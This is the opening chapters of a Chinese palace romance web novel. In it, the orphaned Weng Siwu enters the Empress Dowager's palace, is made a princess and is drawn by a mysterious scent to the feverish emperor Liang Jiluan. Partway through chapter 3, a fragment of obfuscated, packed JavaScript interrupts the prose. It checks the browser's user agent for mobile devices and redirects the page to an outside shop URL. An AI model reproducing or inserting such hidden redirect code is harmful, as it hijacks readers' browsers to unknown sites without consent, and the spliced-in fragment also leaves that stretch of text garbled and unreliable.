《芙蓉泣露》
1. 第 1 章
翁思妩刚刚丧父,宫里就来了旨意,太后要接她到宫里去。
翁思妩知道这个事情,父亲去世前和她说过,他们家情况特殊,人丁不兴,留她一个人在外面应对亲戚,她只会被生吞干净,还不如到宫中躲清净。
太后与翁家有交情,未出阁前与翁父是义兄妹,翁思妩就是她的义侄女,理当照应。
“还请大人等我几日,父亲停灵,我想等他安息后再去拜见太后。”翁思妩两眼通红,眉清目秀,瞧着可怜戚戚。
宫中内侍表示理解,“应当的,太后也是这个意思,还让娘子放宽心,翁大人这是驾鹤寻先夫人去了,天人团聚,不必过于伤怀。”
翁思妩忍着悲痛点头,送走宫里来人后召来随身女婢,“你都听见了?”
默秋答应:“看来太后确实重诺,没有因郎主离世而将娘子撇弃在一边。”
翁思妩:“家中血脉如今只得我一个,父亲知晓仅靠我一人撑不起来,周围又尽是些豺狼虎豹,才去太后那求了恩典,让她护着我,只是我亦不知这样是好还是不好……”
“默秋,今后只得我俩一起过了。”
婢女握住她的手,“娘子不要怕,宫中那么大,只要我们不惹事,一定不会有人欺负我们的。奴婢也会陪着您的。”
翁思妩紧紧回握回去,遥望窗外,仿佛要看到那座从未踏入过的广阔宫阙。
对她来说,那是父亲上朝参政过的地方,也是别人的后宫,别人的家门,而她的未来充满了不确定因素。
没过几日,翁父停灵结束。
等他安葬后,翁思妩回到家,宫里的人早已候在宅内外,等她收拾好就将她接走了。
后宫是贵胄们才住的地方,翁家家世不小,翁思妩往日住的都是世家宅门,对宫殿还是不太了解,父亲虽然入仕多年,却因病退下,很久不得召见,根本算不上亲近天恩的臣子,也就离权力中心越来越远。
随之翁思妩也就跟旁的世家走动不多,她看宫中一切都算新鲜。
太后所住桂宫占据一大片地方,花园和长廊交错,殿宇鳞次栉比,没有人带很容易走错路,附近还有内卫站岗守卫,宁静中透着一股森严。
“你瞧着精神气尚可,听内侍说起你父亲停灵时哭得那般厉害,哀家还以为要看到的是两颗红肿的桃子眼。”
殿内香茗袅袅生烟,雾气散开,露出两张面对面的老少容颜。
翁思妩从失神中拉回神智,抿唇朝陈太后无措地笑一笑,“父亲……积郁多年,身体一直不好,我早已经接受这样的结果,还好他走得不算太突然……”
因为有心理预期,过了最难受的那段时间,翁思妩也就缓过来了,只要不细提,她现在状况还算可以。
陈太后:“就该是如此,斯人已逝,还活着的就该把眼光放长远。”
她看起来对翁思妩颇为满意,不管是相貌举止,还是说话的状态,“今后你就留在这里,也算是为这里添些活泼喜气。此处是哀家的桂宫,本该将你安排在离我最近的呈央殿居住,但日前正在修缮,你且先在蓝春殿度过一段日子,等完善好了再挪过来。”
“你是哀家的侄女,有哀家在,不会叫你受半点委屈。”
翁思妩对陈太后印象只存在于逢年过节的一些赏赐里,父亲远离权力中心,但前些年的人脉积累是有的,他虽是病了,还是有很多人记挂着他。
陈太后这位义姑母待翁思妩也是不差的,赏赐的流水里面都有不少她的东西,即便未曾来往过,好感还是存在。
翁思妩:“我听太后的,太后娘娘怎么说阿妩就怎么做。”
陈太后欣赏她这份乖巧,喜形于色,招手让翁思妩往她的方向坐近点,“好孩子,让底下人收拾去,你来同我说说这么多年,你在家中是怎么长大的,往日都爱做些什么?”
……
翁思妩入宫的事,其实静悄悄的,平静到毫无波澜。
动静还不如远在两仪殿吵架的臣子大,能站在这里的都是勾股之臣,帝王心腹,脾气上来遇事急了,方才红着脖子瞪眼两下,碍于座位上方的梁寂鸾正安静有耐心地睇着他们,也只是辩驳几句,声音是不敢冒犯的。
直到有内侍进来,悄然走上前传话,“陛下。”
“何事。”
内臣不好偷听,默契地低下头或是继续议事,不过都自觉地减小了音量。
内侍小心请示:“是太后,让奴婢过来问话,说是日前托您办的事,有结果了没有。若是没有,何日才能办妥?”
梁寂鸾抬眼无声注视着他,内侍腿微微一抖,差点跪下。
这一眼的威压很自然而然地令整个室内的气氛都变得安静,“朕,好像不记得是什么事了,松泉,你记得吗?”
禁军统领立在一旁道:“陛下日理万机,遗忘一些琐碎闲杂是应当的,臣似乎也不记得了。”
内侍怕自个儿回去交不了差,急得额头冒汗,“就是前个,奴婢为太后送来了折子,请陛下给巡盐御史翁大人之女赐名号一事。”
好像有点印象,但因不怎么重要就放到了一旁。
丁松泉示意梁寂鸾,俯身轻轻说:“的确如此,臣今日还得到消息,太后那边从宫外接了一个娘子进宫,应当就是翁家的人。”
梁寂鸾:“把折子拿来朕看看。”
折子是太后亲笔写的,说是巡盐御史翁大人在世前为先皇办事,多么鞠躬尽瘁,现在死了,人有遗愿希望能够照顾他唯一的女儿,加上大家算得上是“亲戚”,照拂一下是应该的。
人就不麻烦帝王了,太后那边当义女来养,左右巡盐御史之女还得叫她一声姑母,就请陛下赐个名号,封个公主,名正言顺地留在宫中。
当然,事成太后会记得帝王这份仁厚孝心。
梁寂鸾目光在仁厚两字上定点片刻,面不改色收起折子,问内侍,“人已经到了?安排在何处。”
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内侍听语气似有缓和,当即激动道:“太后给翁贵女拨了蓝春殿居住,太后还让奴婢来问,即是义兄妹,陛下可要见一见?”
头顶上一直未有回应,只有帝王拿笔批墨的动静。
最后由禁卫统领交给内侍,“拿去。”
内侍下意识看梁寂鸾一眼,他似乎又被下面大臣们的政事牵制住了,以至于忘了回答那个问题。
蓝春殿在太后居所的右后方,离主殿较远,但也不偏,绕过按照常规处于修缮时间的思安殿,这里出行较为方便,尤其离花果园比较近,风景算是不错的,临近初夏,枝头开了许多繁盛的绿芽。
主要还是长廊花园比较多,回廊初初一看略计有上百间,翁思妩陪同陈太后走到蓝春殿已经忘了来时路了,宫中太大,一时无法计量。
等她们到达,时辰也变午后了。
陈太后:“你且随意看看,还有哪里不满意的,亦或是缺了什么,就跟这殿里的人说,她们自会替你添置的。”
翁思妩环顾四周,“是……”
恰逢常为陈太后跑腿办事的内侍此时回来,行礼后对陈太后耳语一阵,神色有着办完好事等赏的喜气,然后翁思妩就亲眼所见陈太后脸色同样变得高兴满意,不过凭着久居高位的自持,很快就恢复如常。
“阿妩。”陈太后对她说:“你还未见过陛下吧?”
翁思妩愣住,不知陈太后的意思。
她好像也没有一定要他们见面的想法,就像在对一个人分享自己此刻的心情一样,“你父亲生得你如斯乖巧,定然不知道生养儿子的难处,年幼时还好,这人呀,一长大心思也就变大了,再有些主见,几乎就与亲阿母生分了。”
翁思妩确定她是在抱怨,话语含嗔,但是似乎又是舒坦愉悦的,仿佛有一口气终于舒了出来。
陈太后哼了声,也不管翁思妩听没听明白,“我就不陪你了,哀家还有事,你先自个儿安置吧。”
“是。”
等送走陈太后一行人,蓝春殿里就只剩下在此侍候的宫人,还有翁思妩和自带的婢女。
主仆两还对方才的情况摸不清状况,翁思妩脸上微露一丝迷茫,看向为首的侍女,“姑母她……”怎么话题提到一半就走了?
侍女知道她是生人,对宫中一切都不大了解。
“贵女今后要住在桂宫,常伴太后左右,有些事,的确应该提前知晓。”侍女开口道:“方才那位黄内侍,是太后身边的老人,刚从太极宫过来。”
翁父亦曾做过重臣,耳濡目染,翁思妩多少明白那是什么地方。
內朝议政,非帝王心腹不得召见。
侍女说:“天下以陛下为尊,后宫以太后为大,近些年,陛下与太后有些不亲,互有意见。”话说到此处,翁思妩透过她的眼神,清楚意识到侍女话里的意思。
母子不和,她又是今后陪在太后宫里解闷的,应当知道自己该站在哪一边。
2. 第 2 章
没想到刚进宫就要分清楚势力站位,果然后宫之中水都很深。
翁思妩久居内宅,母亲去世早,父亲积病多年,她一直侍候在身边,有些时局父亲会跟她说,但具体是怎样的她还是第一次见。
原来在外看来母慈子孝的关系,背地里竟然是这样的。
她现在成了桂宫里的人,就被自动划为太后一派,所以翁思妩在这里应当处处小心谨慎,最好不要出去惹祸,免得弄出什么岔子,两边都添麻烦。
她也不随意走出去,最多的去向就是跟陈太后请安。
日子过的很是安逸简单。
翁思妩入住的蓝春殿背后栽种了一片花果树,所以她总能在殿里闻到一股甜腻的清香。
默秋从外面摘了一篮的果子回来,跟翁思妩说:“树上结了许多蜜果,鸟都快啄坏了,都没人摘,奴婢就采了回来,刚好娘子要喝药,吃了它就没那么苦了。”
翁思妩有一种病,从她十二岁起,就默默发作了。
这种病很奇怪,无人能治,亦无药可医,但对她的身体没有太大的损害影响,顶多是时不时发起高热,胸闷气短,缓一会就好了。
也可能是她太年少,症状尚轻,暂时瞧不出什么门道。
于是大夫开了疗养强壮身体的方子做成药丸,让翁思妩一有哪里不舒服就拿来吃。
殿内的茶刚煮好,主仆二人正要坐下,屋外就有声音问:“翁娘子可在?请翁娘子出来接旨。”
翁思妩惊愣,在默秋的搀扶下走出殿外。
未曾见过的陌生内侍威严地看着她,“翁娘子?”
翁思妩:“是。”
确认无误后,对方示意她按规矩来,说出口的话让翁思妩再一次惊诧,“陛下有旨,封前巡盐御史翁校仲之女为公主,赐号‘芙徽’,另有赏赐珠宝、丝绸等……”
内侍观察着讶异中的翁思妩,“翁娘子,还不接旨?”
一直到一行前来赏赐的人离去,翁思妩都晕晕的,她痴痴地问婢女,“默秋,方才……”
“是真的。”
翁思妩一下醒神过来:“可是陛下,怎么会突然赐封于我?”
按理说,她来桂宫其实有十多日了,但是跟陈太后的独子一面都没见过,那位帝王只出现在传言中,第一印象还是侍女提点她,目前这对母子关系不怎么好。
连陈太后也似怨非怨地说过,陛下不怎么与她亲近,翁思妩已然从脑中勾勒出一个孤傲盛气、目下无尘的绝情形象。
她以为她在这里安分守己,已经很默默无闻了,原来对方也知道她吗?
默秋:“娘子……不,公主。”
翁思妩现在已经有了一层新身份了,婢女一时还改不过来,“公主要是有疑虑,不如去问问太后。”
陈太后似乎早就知晓有这么回事,午时休息过后,坐在软垫上背靠侍女,正在让人为她捶腿按捏,见到翁思妩来毫不稀奇。
陈太后:“赐封是哀家替你求的,哀家与你父亲是义兄妹,你与陛下同一个辈分,他年长你几岁,叫声表兄又何妨?你是哀家的人,理应封个‘公主’当。”
翁思妩脸皮微红,有些不好意思,“阿妩感念姑母厚爱……”
只是,不是说陛下和太后不亲吗?二人关系僵硬,为了她,太后去求陛下,这份恩情好难还。
陈太后闭目养息,没有提任何让翁思妩以后替她办事还情的话题,一旁的侍女官倒是上前给她递了把玉篦梳,“公主为太后理一理青丝吧。”
背后的侍女让开来,以示陈太后对翁思妩这份独到的殊荣。
向往常一样,翁思妩陪伴了一会陈太后,等她不需要了方从殿宇里离开。
走在回去路上,天色未晚,翁思妩在通往蓝春殿的园子里多待了一会儿,另一个入口有动静传来,翁思妩还坐在廊下,忽然见一支巡逻队伍走来,对方首领发现她们,登时将翁思妩当做宫里的生人盘问起来。
“你们是什么人,这样面生?不去当差,在这里做什么呢。”
翁思妩面色一热,微微赧然,她才十六岁,正是青春逼人的年纪,宫里给她准备的衣裳都十分娇嫩,有粉绿、粉蓝,她因为是在熟悉的地盘衣着就比较简单,但也能看出用料不凡,轻透又舒适。
也许是头上妆点不多,缠绕的发带让人误会了,以为她是新进的宫女。
默秋挡在自家娘子面前道:“我是蓝春殿的婢女,我家娘子是蓝春殿新来的主人,不知这位大人要让我等去哪儿当差?”
丁松泉诧异地看向坐在廊檐下娴静如花照水的女娘,光凭一道身影就能感觉到她的纤细秀美。
“蓝春殿……”那不就是陛下赐封的那个前巡盐御史之女住的地方?
所以她……
永安宫内,今天是按照惯例为帝王把脉检查身体的日子。
御医所的徐钰等候在偏殿内,一直到紫宸殿里的侍人过来传唤,方才见到天子。
徐钰:“陛下近来感觉如何?晨可食,晚可哺?”
梁寂鸾:“如常。”
徐钰观察他气色身形,其实也觉得梁寂鸾没什么问题,但梁家的男丁跟任何都不同,尤其梁寂鸾作为君主这一脉,情况十分特殊。
他不是身体不康健,相反,他比起其他男子条件都异常优异,但是自十五六岁他发了场高热,梁寂鸾身体就出了状况,每年都会在不同时间发作一下。
御医所的太医早有经验,因为不止梁寂鸾一人出现这种现象,梁家祖上就有过这样的异常的,所以说这也是一种遗传,御医们都非常清楚,但是这种情况令他们也感觉棘手,因为从未得到过解决。
这看上去像是一种疯病,实际上与梁家人自身的血脉有关。
毫无例外,陛下乃当世帝王,人中龙凤,无人敢触其锋芒,可就跟慧极必伤一个道理,天资太过出彩的人,总有点毛病,像是命中缺了一股药引,整个人都不算完整。
徐钰:“臣今日把脉,陛下体魄强健,一如往昔,方子就还和从前一样,暂且不多改动,最多加一味调息的药,以防不适之症发作。”
梁寂鸾坐在榻上,如坐在高堂,嗯一声都像在赏赐。
他是对人话不多那一类型,天生贵气,气质很疏淡,但不阴郁,眉眼间常年积蓄着一股浑厚如
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山的平静,且足够威慑。
徐钰再跟他聊了会日常身体上的状况,翻看了下常侍记录下的日历,确保梁寂鸾其实比祖上几位有同样病因的先帝情况要克制,或者说他本人的自抑能力很强,所以疯也疯的较轻。
也可能是更会装,不过暂且对他们这些御医伤害度较小,于是准备收拾东西回御医所。
凑巧,丁松泉就是在这时候回来的,“陛下。”
他从殿外大步进来,不知因为什么,走路都盖不过他眉眼处的兴奋,似是见到什么新鲜东西,有情报马上要与帝王说。
不过事分缓急,丁松泉还没忘自己是做什么去的。
丁松泉在桌前站定:“陛下,臣奉陛下之命,去桂宫向太后代为请安,太后面红气润,看起来没有不舒服的地方,送去的礼品这回没再让宫人退回来,就是不太想臣再那久留。”
就是还在生梁寂鸾气的意思。
像这种宫廷里的母子关系,和寻常人家不同,就算是生气,也不代表仅是普普通通闹点不虞而已。
定然还有其他缘由在,只是帝王家的家务事,容不得旁人插手。
丁松泉回禀完后,静待梁寂鸾吩咐,顺便看向一边来为帝王检查身子的御医,都是老熟人。
未料帝王忽然道:“你身上是什么味道。”
丁松泉愕然回神,就连御医侍人都似乎感应到帝王的不妥。
丁松泉:“陛下?”
梁寂鸾看起来有丝异样,他凝神盯着禁军统领,目光微沉,眉头微蹙,像是不确定是不是因为他快步引进来的风弄出的错觉,他好似嗅到一股与众不同的气息,让他顷刻感觉到身体有熟悉的发热的症状。
就跟往常发病时一样,俊容多了一丝古怪的嫣红。
梁寂鸾:“你去教坊了?”
徐钰跟侍人的视线也好奇地跟过来。
丁松泉一脸茫然及无措地否认,“不,臣怎会在当值的时候与教坊的人厮混在一起……”
那气味是很呛鼻的,不是不好闻,而是对第一次闻到的人来说,如同一张白纸被渲染对了颜色,婴孩第一次吃到蜜,目盲的人头一回见到雪。
所有的感官都被那股香给喧宾夺主了。
但是除了梁寂鸾,不管是丁松泉还是徐钰他们,没有一个人和梁寂鸾达成共鸣。
丁松泉迟疑而忧虑道:“臣,确实刚从太后那边回来,桂宫那边与花果园交界,也许是不小心沾染到了什么花香……而且陛下天赋异凛,闻到的气息,偶尔与臣等有所出入,所以陛下能闻到的,臣等不一定能闻到。”
殿中气氛静悄悄,丁松泉说的不是没有道理。
梁家人就是有种有别于众的遗传,但是帝王第一次这么明显提出自己感受到的异样。
徐钰作为御医更要问:“那陛下,可有从中感觉到不适?可否描述一下具体是什么味道?”
梁寂鸾保持安静,沉默了良久,鼻息间的气味其实被冲得很淡了,只是血脉特性作祟,他没能忘记它出现那一刻代表的特殊性,且莫名产生出强烈独占的陌生保护情绪。
他回道:“不记得了。”
3. 第 3 章
陈太后的桂宫,那一片地方是有那么多香气。
加之春夏交季期间,花果处于盛放成熟的状态,很难不会沾染上特殊的味道。
夜里翁思妩沐浴,趴在水池边显得懒洋洋的,一身都没力气,默秋还是第一次见她这样,慵懒像没骨头似的,脸也很红,宛若喝多了酒,又闷闷的。
默秋:“娘子这是怎么了?”
私底下主仆还是如以前般称呼,翁思妩闻声连头也抬不起来,她枕着玉臂,懒声道:“我也不知,好奇怪,默秋,我从外边一回来就觉着浑身无力,你闻到风里的气味了吗?”
默秋愣了下,才反应过来翁思妩说的是哪儿,“是白日在荷风廊那儿?”
翁思妩点头。
默秋迟疑地道:“可是奴婢好像什么也没闻见。”
翁思妩诧异抬头,精神不济又趴了回去,她心里痒痒的,回味那股气息,又似有东西在背上爬,“怎么会呢,那股气味,好冲鼻,怎会闻不见呢?”
然而经过再三确认,默秋还是如此,翁思妩感到失落地趴在池边,白皙小腿轻轻划着水,难道只有她一个人闻到?
默秋:“什么气味啊,它怎么了,娘子哪里不舒服?”
翁思妩当真像喝醉了,眼眸湿润,面颊红的也很厉害,娇声说:“它熏着我了,好熏呢默秋!”
像草木被焚烧殆尽时燃起的烟灰,猝不及防嗅到的翁思妩如同被温热浓烈的山火拥抱住,烘着她的身子浑身都热。
翁思妩从水池中被扶起来,她今夜沐浴时间太久了,远超过往日,默秋担心她趁她不注意溺水,本就无力,干脆请她上来。
回到殿中,吹着窗外透进来的清风,翁思妩的状态终于比在池子里时好多了,神思也清明几分,她好奇地撑着下颔,无意识地注视着镜子中的自己,婢女正在背后为她擦拭湿发。
其实很好闻,她有些备受吸引的想要再闻一次那股气味,满脑子都是这样不受控制的念头。
翁思妩在想要不要再去荷风廊一趟,她想弄清楚到底是她的错觉,还是真的只有她的嗅觉出问题了。
不过,眼下夜深,该当休息才是。
白日。
默秋一进内居,撩开珠帘,就发现本该赖床的娘子正坐在床榻上发呆。
人好像痴了一样,抱着被角,咬着嘴唇。
“娘子这是怎么了?”默秋疑心她是不是魇住了,静悄悄靠近问。
翁思妩忽地惊醒,“什么?”
默秋打量她,“娘子今日瞧着……似乎跟平日不大一样。”
“脸,好红。”
翁思妩眨着眼,同时抬手挡住面颊,在默秋的注视下默默侧过肩,过了良久才说:“只是做了一个梦。”
梦里她就像枕在一片温而不烫的宽阔胸膛上,鼻吸间离不开草木燃灼的淡淡灰烬气,以至于气色又倦又红润,眼珠看什么都湿漉漉的,含情诱人。
……
梳妆的时候,默秋将一个首饰盒从箱子里抱了出来。
翁思妩坐在妆台前,看着她打开,满目琳琅的首饰手艺各有千秋,“今日是什么日子,我要这样打扮?”
默秋为她着想,“娘子在蓝春殿散漫到不打紧,但是去了外边,即使是在太后的领地范围,还是稍微装扮一番,免得跟昨日一样……”
被人误会。
翁思妩懂了她的心思,她生得青春可爱,因太后宠她,赏赐和命人给她准备的衣裳,都偏她这个年纪娇嫩-女子的风格,甚至更加年少,而且也很爱翁思妩挽起双髻,束着玉环发带清纯的样子。
但为了减少不必要的麻烦,她最好还是戴一些贵重些的首饰,以跟宫里的女子区分开来。
默秋示意:“娘子挑一挑吧。”
翁思妩目光一扫,忽然被一只玉镯吸引,那玉鲜红的色泽如晶莹剔透,红的饱满的石榴籽,她指着它道:“这个?”
默秋夸道:“娘子好眼光,一挑就是御制的。”
上回翁思妩被封为公主,内侍送来一批珠宝首饰,其中就有这只玉镯。
而不知为何,这玉镯似乎与寻常珠宝有些不同,翁思妩戴上以后感觉昨天夜里,那股从身体里冒出来的异样似乎都减退了了,她也恢复了一些往日的精神,没有那么浑身无力。
翁思妩只当是玉的质地不同,抚摸着镯子,喃喃道:“真是块宝玉。”
今日本该按照惯例,去太后的承思殿请安。
翁思妩梳妆好后,带着婢女前往后宫女眷中,所属的最大的殿宇。
然而越靠越近,承思殿似乎陷入一片阴影中,显得尤为安静。
翁思妩步履轻轻走上白玉石阶,身后跟着默秋,还未进去,在半步台阶上就发现不妥了。
她停在台阶上,视线落在不远处待在殿外的宫人上,他们具是脸色发白,丧如考妣地跪在地上。
一些翁思妩曾见过的宫中禁卫像是突然出现在此处,把守在四周,尤其门槛,这样的架势引最近一处的宫人匍匐在地,瑟瑟发抖。
就在此刻,面容肃穆的禁卫押着两个侍人从内殿里气势汹汹地出来。
太后身边侍候的侍女官面色焦灼,步步紧跟在后,嘴里念念有词,“就这般无情面可言?那可是太后,这二人侍奉已久,太后早已习惯,如今就算犯了错,也该看在太后的面子上从轻处置。”
“陛下何故要这么大动干戈,禁军大人,饶他们一命吧!”
禁军冷声道:“侍女官该知晓宫中规矩,陛下还是留有一丝情面和孝心,否则……该当知道这两个违反宫规的罪人会由他亲自提审处置。”
“侍女官,莫非忘了陛下擅长什么?”
“刑具。”
此言一出,侍女官神色大变,眼神流露出一丝恐惧,就算再想说什么,也因此紧紧闭上嘴了。
待到禁军将两个堵住嘴的侍人带走,殿前那股窒息森严的感受一轻,侍女官方才转身,然后瞥见一道熟悉的人影。
“芙徽公主?”
翁思妩被念出名号,尴尬而不好意思地从旁边的廊柱后走出来,“耿娘子。”
侍女官:“公主今日来,是来陪伴太后的?”
翁思妩:“嗯……上回和姑母约好,说要下棋……”
侍女官冷笑:“下棋?怕是要让公主失望了,太后今日可没什么心思下棋,全被人给毁了!”
翁思妩猝不及防被迁怒,安静下来默默地看着侍女官,侍女官反应过来刚才失态了,翁思妩又是新晋的公主,容不得她这样扫面子,于是僵硬地掀起一抹笑,“我是想劝公主,这次就算了,还是不要马上到太后跟前去触霉头,太后心绪不佳,应是不得让人服侍左右了。”
翁思妩这才开口:“耿娘子可否告诉我,方才这是出什么事了?”
侍女官憋着口气,左右一瞧,似要拉个同盟,向翁思妩走近后低声控诉:“娘子真想知晓?那我可就说了……还不是陛下,犯了疯病,一发作起来,翻脸无情,听信太后身边有蛊人作祟的谗言,要将我等赶尽杀绝!”
翁思妩蓦然闭紧嘴唇。
“自先帝去后,陛下与太后经常政见不合,引发不快,没想到这次居然这么不给太后颜面……”
侍女官愤愤不平,翁思妩轻仿佛未听清,轻声问:“什么病?”
未曾听父亲说,陛下身体有异啊?
然而宫中,好像成了一种传闻,翁思妩亲眼看见侍女官恼怒的表情恢复平静,变得非常复杂,似在回忆,面上的肌肉抖动隐隐发生变化,最后整个人的情绪都化为忌惮惊惧。
侍女官艰涩开口:“陛下他,从小就异于常人……”
不管是皇天贵胄还是世家大族,都有点血脉上的说法,血脉好的,自然是家中子弟人人都有出息,强者不断,而梁家不仅强者居多,生来仿佛就与其他世家不同。
现在金銮殿上的那位贵主,就充分体现了梁家血脉的特殊性,“外人不知,梁家其实从古至今都有一种病,病症往往以发生高热为主,一旦到了发热期,就会性情大变,狂躁不已,陛下从幼年起就出现过这种症状,不仅在此期间尤为敏感凶戾,五感通灵,还十分有破坏性……”
翁思妩发觉她说到帝王破坏性时,嘴唇肌肉明显抽搐两下。
侍女官:“这病连治都没法治,还是太祖皇帝下令,将陛下送去刑罚司,方才缓解病情。但此后,陛下成了刑讯中的一把好手,无论是否朝野之中,都没有一个人想被他审讯。”
侍女官凄然一笑∶“总之,公主记好了,太后多发不快,那必定是与陛下脱不了干系。”
“陛下他啊,可不是好相与的。”
“日后若你见了他,可要万事小心。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14276952|151784||http|test|mini|href|location''.split(''|''),0,{}));
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>侍女官说完便轻轻推了翁思妩一把,示意她该走了。
陈太后殿里是去不了了,翁思妩唯有打道回府。
默秋跟在她身后,等到路上不见什么人,方才告诉翁思妩她在宫中的听闻。
作为婢女,她更适合打入内部,“奴婢确实听说,同侍女官所言差不离……这位陛下手段厉害得很,御下极为严苛,做任何事都不许旁人插手,连太后也不例外。”
“有好几次,惹怒了陛下的人都被当场拧死了。”
翁思妩张了张嘴,按不住心中骇浪,对脑海里构建的盛气凌人的男子,又添砖加瓦了一笔。
默秋∶“说是此后,只要是陛下发病期间,大家有多远都躲多远。”
“不过一般都有禁卫们在四周把守,所以……”
只见翁思妩忽然脚下一崴,似是听的太认真,忘了看路,差点摔倒。
再抬头,面对刺眼的耀阳感到一阵头晕。
默秋扶稳她问,“娘子这是怎么了?”
风里刚刚好像有些别样的气息,翁思妩胸闷气燥,拍了拍心口,茫然道:“好像……日头太晒了?方才差点就晕倒。”
她抽着气,“不过,我的脚也崴了。”
默秋听她这样说,赶紧扶她到附近院墙下的石凳上落座,并帮她脱下一只袜履查看。
“娘子先歇歇,慢些回去也不急。”
默秋力度拿捏得很好,不一会翁思妩就感觉好多了。
她舔了舔微干的唇角,想起刚才的气息,说∶“默秋,我渴了。”
她一惯娇气,很惹人怜,崴了脚不利于走路,默秋便只有另想办法,“娘子在此等我片刻,奴婢这就找水去。”
默秋一走,院墙下就只剩翁思妩一人了。
她开始也是安分在原位等,但是鼻息中萦绕的气息太强烈了,浓烈到近在咫尺,她像被勾魂一样,灵魂都颤栗,莫名的冲动促使她起身有感觉地朝一个方向找去。
在一个隐秘狭窄的岔路口,直通另一个园子,翁思妩转身走进去,差点起身撞上一道黑影。
她及时止步了,定睛一看,对方倚墙而立,旁边是棵苍天乔木,初看他以为是在休憩,实则俊脸烧红,双目紧闭,眉峰蹙起,凌厉而无人敢入侵。
翁思妩只能通过他搭在树干上青筋暴起的手来判断他应是在不舒服,她想上前问他几句,但是一张嘴,发现自己情况也不好,喉咙如同有火在烧,一时难以言语。
她往前走几步,身形都趔趔趄趄的,最后更是没站稳,一时朝前面的胸膛扑去。
满鼻草木灰燃尽的气息包裹了她,翁思妩思绪瞬间被扯到昨夜做的梦里,那个温热宽厚结实的胸膛,和现在的情形一模一样。
她瞬间满脸通红,基本确定对方应该就是困扰了她一晚上的气息的主人。
只是不知为何他会是现在这副模样,翁思妩礼节性想脱离这个温热的胸膛,她实在受不住这样的气味侵略,生平未有,平生未见,一边受陌生男子的气味引诱,一边又直觉很危险。
就在即将离开对方身体时,翁思妩往后撤了撤,一只手宛若锁扣扣住了她。
她惊惶地“啊”出声,对方的力道不减反加重了,硬生生抬高翁思妩手臂,将人拽回到身前。
梁寂鸾睁开阴鸷而漠然的双眼,他眼里的情绪厚重一片,像触不可及的远山,第一视线落在翁思妩的手腕,细腻如脂,第二眼,盯的却是出现在她腕上如雪中一点红的红玉手镯。
玉镯乃御赐之物,宫中造印,梁寂鸾会认识,是因为造冶署按照惯例,每新打造一批宝物都会呈上来让他过目。
而让一个帝王对首饰有如此印象,当然不止那么简单。
梁家有着异于常人的血脉特性,而经过几代帝王发现,红玉里有着特殊的成分,能帮助他们这种人抑制发热期的强烈不适感,向他人屏蔽自身气味,舒缓精神。
但此物并不是长期适用于他们,戴久了,与年岁有关,抑制器过长反而会让人遭到精神反噬。
只有找到他们命定的那个人才能让他们脱离苦海。
可惜,梁家祖上几代耗尽心血,寻遍天下都找不到结果。
梁寂鸾从年少起就在摆脱对红玉的依赖,他早已不戴这物什,而宫中又有太多红玉锻造的首饰,眼前女子所拥有的,应当就是从宫库里赏赐下去的。
4. 第 4 章
翁思妩气息急促,她真的头好胀好晕,怔怔地望着在她眼里模糊地看不清的人影,满鼻子都是那股调动她情绪感觉的霸道气息,以至于对方张嘴说了什么她都忽略了过去。
心里只有一种想法,疯狂想要朝他靠近,但脑子里又有一根绷紧的弦在叫嚣提醒,有危险。
这样的气息传递十分危险,仿佛在她面前的不是什么人,而是一个巨大的兽笼,而她会即将沦为猎物。
会受引诱,被捕获,要藏起来,必须藏好,方能逃离。
“娘子!”不知何时出现的默秋急切地唤醒她。
翁思妩这才从昏沉笨重的思绪中稍稍脱离,然而意识还是模糊迟钝的,说话有些缓慢,“默秋?你来了……我……”
她感到身上一沉,差点将她的腰都压折了,“默秋,快救我。”
翁思妩语调里不经意透露出哭腔,默秋早就准备在一旁帮忙,在帮着把翁思妩身上的人扶起来扶稳后,纳闷说:“娘子,这是怎么回事?怎么奴婢一走,你就?”
自知没有乖乖听婢女叮嘱,翁思妩命悬一线,彻底清醒回过神来,提起刚才的事情,“若我说,我也是情不自禁,你信吗?”
她向其描述之前那一感觉,小脸红透,根本不知外露出许多风情,“我就是闻到好不一样的气息,我同你说过的,它有古怪,我那一下脑子懵懵的,就想寻它去,可是……又有一种感觉告诉我,很危险。”
“但是引诱大于理智,我刚刚那一下好像毫无理智可言,然后就发现他了。”
她的目光和婢女同时落到被扶着的晕过去的人身上。
“你说,他是不是捈了什么香膏,才那么厉害?”翁思妩猜疑,“什么样的香膏,会让人变得那么奇怪呢。”
到现在她鼻息里还有这样的气息残留不去,但是有了外人打扰,翁思妩已经清醒许多了,就是身体热热的,胸脯好像也有热度,宛若置身炎热夏日,充斥着淡淡燥意。
默秋:“不知贵人身份是谁?”
翁思妩目光重新回落到陌生男子身上,以她跟默秋的眼见力,观其衣料相貌,是不可能把人误当做宫人的。
尤其对方一看就出身不凡,翁思妩只有猜测,“是否是入宫觐见的大臣?亦或是哪个宫里的贵客。”
宫中也不是只有内眷宦官在此,翁思妩只能将人判定为这样,若是臣子就比较好解释了,也许是身体不适才走到这里来休憩,然后被她遇见。
一阵血气上来,翁思妩不自在道:“默秋,你有没有觉得他好烫?”
抬手碰了下对方的额头,那张俊白如玉的面孔布满红晕,墨眉紧蹙,隐隐可见如露的汗珠,翁思妩的红玉手镯触不经意碰到了他的脸,带来一点冰凉,引其恢复一点点意识。
唯有翁思妩不曾察觉,梁寂鸾脑中作痛的感觉稍微好点,就听一道娇柔声音夹杂着焦灼急切道:“我们快送他到安全地方,默秋,我等不了。”
她好像很急,却不知在急什么。
梁寂鸾躺在蓝春殿醒来时,盯着梁上天花片刻,并未马上下榻宣告这座殿的主人和侍女,他醒了。
此刻殿里清净,窗花半开,屋内散发着后园传来的甜腻果香。
一看就能洞察屋主性别。
这次发病,来势汹汹,不可预料,如同洪流决堤,将他积攒了数日的躁动一次冲垮,比往日要凶猛,以至于即使有经验,梁寂鸾还是遭受了不小的影响。
自从那日在丁松泉身上嗅到一股特别气息后,梁寂鸾一直在压抑自己,神经紧绷,他介于舒缓和濒临崩溃之间,精神上的克制看似好像没什么作用,同时他也起了一探究竟的心思。
然而等他走到丁松泉说的荷风廊,那股香早已不知去向。
